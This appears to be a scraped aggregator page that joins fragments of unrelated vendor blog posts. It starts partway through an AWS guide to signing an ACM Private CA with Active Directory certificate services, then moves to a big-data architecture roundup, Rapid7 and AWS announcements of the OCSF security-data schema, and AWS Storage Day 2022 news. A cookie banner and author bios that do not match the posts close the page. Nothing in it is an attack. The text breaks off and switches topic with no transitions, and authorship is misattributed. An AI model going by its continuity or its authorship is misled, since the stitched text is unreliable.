Copy the base64-encoded files for both the certificate and the certchain to your local computer. The certificate is already in Privacy Enhanced Mail (PEM) format, and its contents can be pasted into the ACM PCA certificate input in the console. However, you must convert the certchain into the format required by the ACM PCA by following these steps:
To convert the format of the certchain, use the openssl tool from the command line. The process of installing the openssl tool is outside the scope of this blog post. Refer to the OpenSSL site documentation for installation options for your operating system.
Use the following command to convert the certchain file from Public Key Cryptographic Standards #7 (PKCS7) to PEM.
Using a text editor, open the certchain.pem file and copy the last certificate block from the file, starting with —–BEGIN CERTIFICATE—– and ending with —–END CERTIFICATE—–. You will notice that the file begins with the signed certificate and includes subject= and issuer= statements. ACM PCA only accepts the content that is the certificate chain.
Return to the ACM PCA console page from Step 1, and paste the text the you just copied into the input area provided for the certificate chain. After this step is complete, the private CA is now signed by your corporate PKI.
Test the solution
Now that the ACM PCA is online, one of the things it can do is issue certificates via ACM that are trusted by your corporate Active Directory joined clients. These certificates can be used in services such as Application Load Balancers to provide TLS protected endpoints that are unique to your organization and trusted only by your internal clients.
From a client joined to our test Active Directory, Internet Explorer shows that it trusts the TLS certificate issued by AWS Certificate Manager and used on the Application Load Balancer for a private site.
Figure 6: Internet Explorer showing that it trusts the TLS certificate
For this demo, we created a test web server that is hosting an example webpage. The web server is behind an AWS Application Load Balancer. The TLS certificate attached to the Application Load Balancer is issued from the new ACM PCA.
Conclusion
Organizations that have Microsoft Active Directory deployed can use Active Directory’s Certificate Services to issue certificates for private resources. This blog post shows how you can extend that certificate trust to AWS Certificate Manager Private CA. This provides a way for your developers to issue private certificates automatically, which are trusted by your Active Directory domain-joined clients or clients that have the ADCS certificate chain installed.
For more information on hybrid public key infrastructure (PKI) on AWS, refer to these blog posts:
Big data is often defined by 3 Vs: greater variety, volumes, and velocity. Because of the three Vs, big data poses data management challenges that cannot be solved with traditional databases. Not only that, but trying to overcome these issues can lead to scaling problems, bottlenecks, and spiraling costs.
To help with this, you need to look at the whole data management pipeline. Don’t worry, AWS offer many tools and best practices to help you architect better for these challenges. In this post, we share insights into how to build and manage big data pipelines in your architecture.
This hands-on practice will show you what’s possible for big data services on AWS.
If you are a builder, this AWS workshop catalog includes several courses on big data and analytics. These resources provide new ideas and how to realize them in practice.
AWS workshops can help you learn the cloud services and recommended architectural patterns
It’s very common to share data stored across organizations or business units, but sharing data often comes with security risks.
This blog post explains how to share data across accounts via AWS Lake Formation in a secure and controlled manner, so your data is never exposed to the wrong people.
This diagram illustrates the architecture for cross-account access
Amazon.com is a customer of AWS like any other customer. But, as you can imagine, Amazon.com has very large and very complex datasets with tens of thousands of transactions at any one time.
This video goes through how Amazon.com uses AWS technologies to run their business successfully, and how you can add the same architectures and principles for yours.
Data warehouse architectures can be used to run queries on large amounts of data from different data sources
See you next time!
Thanks for joining our discussion on big data architecture! See you in two weeks for more architecture best practices and guidance.
Teams spend a lot of time normalizing data before any analysis, investigation, or response can begin. It’s an unacceptable burden for you. And its days are finally numbered.
OCSF is an open standard that can be adopted in any environment, application, or solution provider and fits with existing security standards and processes. As cybersecurity solution providers incorporate OCSF standards into their products, security data normalization will become simpler, allowing teams to focus on analyzing data, identifying threats, and stopping attackers before they cause damage.
“We, as security vendors, need to do right by the security teams who work tirelessly to protect not only their organizations, but the greater community, against a constantly evolving array of threats,” said Sam Adams, Vice President of Detection and Response, Rapid7. “A step towards that is standardizing the data on which these teams rely. If we can minimize the complexity of using security data from disparate sources, we can save security professionals millions of hours every year. Rapid7 has a proud history of supporting the open-source community. We are thrilled to join our peers who share this belief and build a solution that will break down data silos, removing a heavy burden that hinders security teams’ efforts to stay ahead of threats.”
Data holds the key
The key to efficiently detecting and rapidly responding to today’s threats and attacks is data and how you use that data. It’s mission-critical for security teams to evaluate data from various sources (e.g. the endpoint, threat intelligence feeds, logs, etc.), coordinating with a myriad of security tools and solutions. In a recent study, SOC Modernization and the Role of XDR, eight in 10 organizations said they collect, process, and analyze security operations data from more than 10 sources. While it might sound like a lot, survey respondents actually want to use more data, in order to keep up with the evolving attack surface.
As the industry comes together to unburden security teams of the work required to collect and normalize data, Rapid7 will be rolling out support for OCSF, starting with InsightIDR, our joint SIEM and XDR solution. Look for updates on OCSF support in the coming months!
We are on the fourth year of our annual AWS Storage Day! Do you remember our first Storage Day 2019 and the subsequent Storage Day 2020? I watched Storage Day 2021, which was streamed live from downtown Seattle. We continue to hear from our customers about how powerful the Storage Day announcements and educational sessions were. With this year’s lineup, we aim to share our insights on how to protect your data and put it to work. The free Storage Day 2022 virtual event is happening now on the AWS Twitch channel. Tune in to hear from experts about new announcements, leadership insights, and educational content related to the broad portfolio of AWS Storage services.
Our customers are looking to reduce and optimize storage costs, while building the cloud storage skills they need for themselves and for their organizations. Furthermore, our customers want to protect their data for resiliency and put their data to work. In this blog post, you will find our insights and announcements that address all these needs and more.
Let’s get into it…
Protect Your Data Data protection has become an operational model to deliver the resiliency of applications and the data they rely on. Organizations use the National Institute of Standards and Technology (NIST) cybersecurity framework and its Identify->Protect->Detect->Respond->Recover process to approach data protection overall. It’s necessary to consider data resiliency and recovery upfront in the Identify and Protect functions, so there is a plan in place for the later Respond and Recover functions.
AWS is making data resiliency, including malware-type recovery, table stakes for our customers. Many of our customers use Amazon Elastic Block Store (Amazon EBS) for mission-critical applications. If you already use Amazon EBS and you regularly back up EBS volumes using EBS multi-volume snapshots, I have an announcement that you will find very exciting.
Amazon EBS Amazon EBS scales fast for the most demanding, high-performance workloads, and this is why our customers trust Amazon EBS for critical applications such as SAP, Oracle, and Microsoft. Currently, Amazon EBS enables you to back up volumes at any time using EBS Snapshots. Snapshots retain the data from all completed I/O operations, allowing you to restore the volume to its exact state at the moment before backup.
Many of our customers use snapshots in their backup and disaster recovery plans. A common use case for snapshots is to create a backup of a critical workload such as a large database or file system. You can choose to create snapshots of each EBS volume individually or choose to create multi-volume snapshots of the EBS volumes attached to a single Amazon Elastic Compute Cloud (EC2) instance. Our customers love the simplicity and peace of mind that comes with regularly backing up EBS volumes attached to a single EC2 instance using EBS multi-volume snapshots, and today we’re announcing a new feature—crash consistent snapshots for a subset of EBS volumes.
Previously, when you wanted to create multi-volume snapshots of EBS volumes attached to a single Amazon EC2 instance, if you only wanted to include some—but not all—attached EBS volumes, you had to make multiple API calls to keep only the snapshots you wanted. Now, you can choose specific volumes you want to exclude in the create-snapshots process using a single API call or by using the Amazon EC2 console, resulting in significant cost savings. Crash consistent snapshots for a subset of EBS volumes is also supported by Amazon Data Lifecycle Manager policies to automate the lifecycle of your multi-volume snapshots.
Put Your Data to Work We give you controls and tools to get the greatest value from your data—at an organizational level down to the individual data worker and scientist. Decisions you make today will have a long-lasting impact on your ability to put your data to work. Consider your own pace of innovation and make sure you have a cloud provider that will be there for you no matter what the future brings. AWS Storage provides the best cloud for your traditional and modern applications. We support data lakes in AWS Storage, analytics, machine learning (ML), and streaming on top of that data, and we also make cloud benefits available at the edge.
Amazon File Cache (Coming Soon) Today we are also announcing Amazon File Cache, an upcoming new service on AWS that accelerates and simplifies hybrid cloud workloads. Amazon File Cache provides a high-speed cache on AWS that makes it easier for you to process file data, regardless of where the data is stored. Amazon File Cache serves as a temporary, high-performance storage location for your data stored in on-premises file servers or in file systems or object stores in AWS.
This new service enables you to make dispersed data sets available to file-based applications on AWS with a unified view and at high speeds with sub-millisecond latencies and up to hundreds of GB/s of throughput. Amazon File Cache is designed to enable a wide variety of cloud bursting workloads and hybrid workflows, ranging from media rendering and transcoding, to electronic design automation (EDA), to big data analytics.
Amazon File Cache will be generally available later this year. If you are interested in learning more about this service, please sign up for more information.
AWS Transfer Family During Storage Day 2020, we announced that customers could deploy AWS Transfer Family server endpoints in Amazon Virtual Private Clouds (Amazon VPCs). AWS Transfer Family helps our customers easily manage and share data with simple, secure, and scalable file transfers. With Transfer Family, you can seamlessly migrate, automate, and monitor your file transfer workflows into and out of Amazon S3 and Amazon Elastic File System (Amazon EFS) using the SFTP, FTPS, and FTP protocols. Exchanged data is natively accessible in AWS for processing, analysis, and machine learning, as well as for integrations with business applications running on AWS.
On July 26th of this year, Transfer Family launched support for the Applicability Statement 2 (AS2) protocol. Customers across verticals such as healthcare and life sciences, retail, financial services, and insurance that rely on AS2 for exchanging business-critical data can now use AWS Transfer Family’s highly available, scalable, and globally available AS2 endpoints to more cost-effectively and securely exchange transactional data with their trading partners.
With a focus on helping you work with partners of your choice, we are excited to announce the AWS Transfer Family Delivery Program as part of the AWS Partner Network (APN) Service Delivery Program (SDP). Partners that deliver cloud-native Managed File Transfer (MFT) and business-to-business (B2B) file exchange solutions using AWS Transfer Family are welcome to join the program. Partners in this program meet a high bar, with deep technical knowledge, experience, and proven success in delivering Transfer Family solutions to our customers.
Five New AWS Storage Learning Badges Earlier I talked about how our customers are looking to add the cloud storage skills they need for themselves and for their organizations. Currently, storage administrators and practitioners don’t have an easy way of externally demonstrating their AWS storage knowledge and skills. Organizations seeking skilled talent also lack an easy way of validating these skills for prospective employees.
In February 2022, we announced digital badges aligned to Learning Plans for Block Storage and Object Storage on AWS Skill Builder. Today, we’re announcing five additional storage learning badges. Three of these digital badges align to the Skill Builder Learning Plans in English for File, Data Protection & Disaster Recovery (DPDR), and Data Migration. Two of these badges—Core and Technologist—are tiered badges that are awarded to individuals who earn a series of Learning Plan-related badges in the following progression:
Well, That’s It! As I’m sure you’ve picked up on the pattern already, today’s announcements focused on continuous innovation and AWS’s ongoing commitment to providing the cloud storage training that your teams are looking for. Best of all, this AWS training is free. These announcements also focused on simplifying your data migration to the cloud, protecting your data, putting your data to work, and cost-optimization.
Now Join Us Online Register for free and join us for the AWS Storage Day 2022 virtual event on the AWS channel on Twitch. The event will be live from 9:00 AM Pacific Time (12:00 PM Eastern Time) on August 10. All sessions will be available on demand approximately 2 days after Storage Day.
In today’s fast-changing security environment, security professionals must continuously monitor, detect, respond to, and mitigate new and existing security issues. To do so, security teams must be able to analyze security-relevant telemetry and log data by using multiple tools, technologies, and vendors. The complex and heterogeneous nature of this task drives up costs and may slow down detection and response times. Our mission is to innovate on behalf of our customers so they can more quickly analyze and protect their environment when the need arises.
With that goal in mind, alongside a number of partner organizations, we’re pleased to announce the release of the Open Cybersecurity Schema Framework (OCSF) project, which includes an open specification for the normalization of security telemetry across a wide range of security products and services, as well as open-source tools that support and accelerate the use of the OCSF schema. As a co-founder of the OCSF effort, we’ve helped create the specifications and tools that are available to all industry vendors, partners, customers, and practitioners. Joining us in this announcement is an array of key security vendors, beginning with Splunk, the co-founder with AWS of the OCSF project, and also including Broadcom, Salesforce, Rapid7, Tanium, Cloudflare, Palo Alto Networks, DTEX, CrowdStrike, IBM Security, JupiterOne, Zscaler, Sumo Logic, IronNet, Securonix, and Trend Micro. Going forward, anyone can participate in the evolution of the specification and tooling at https://github.com/ocsf.
Our customers have told us that interoperability and data normalization between security products is a challenge for them. Security teams have to correlate and unify data across multiple products from different vendors in a range of proprietary formats; that work has a growing cost associated with it. Instead of focusing primarily on detecting and responding to events, security teams spend time normalizing this data as a prerequisite to understanding and response. We believe that use of the OCSF schema will make it easier for security teams to ingest and correlate security log data from different sources, allowing for greater detection accuracy and faster response to security events. We see value in contributing our engineering efforts and also projects, tools, training, and guidelines to help standardize security telemetry across the industry. These efforts benefit our customers and the broader security community.
Although we as an industry can’t directly control the behavior of threat actors, we can improve our collective defenses by making it easier for security teams to do their jobs more efficiently. At AWS, we are excited to see the industry come together to use the OCSF project to make it easier for security professionals to focus on the things that are important to their business: identifying and responding to events, then using that data to proactively improve their security posture.
Want more AWS Security news? Follow us on Twitter.
The collective thoughts of the interwebz
Manage Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional
Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes.The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
Edvin Hallvaxhiu is a Senior Global Security Architect with AWS Professional Services and is passionate about cybersecurity and automation. He helps customers build secure and compliant solutions in the cloud. Outside work, he likes traveling and sports.
Rahul Shaurya is a Senior Big Data Architect with AWS Professional Services. He helps and works closely with customers building data platforms and analytical applications on AWS. Outside of work, Rahul loves taking long walks with his dog Barney.
Andrea Montanari is a Big Data Architect with AWS Professional Services. He actively supports customers and partners in building analytics solutions at scale on AWS.
María Guerra is a Big Data Architect with AWS Professional Services. Maria has a background in data analytics and mechanical engineering. She helps customers architecting and developing data related workloads in the cloud.
Pushpraj is a Data Architect with AWS Professional Services. He is passionate about Data and DevOps engineering. He helps customers build data driven applications at scale.
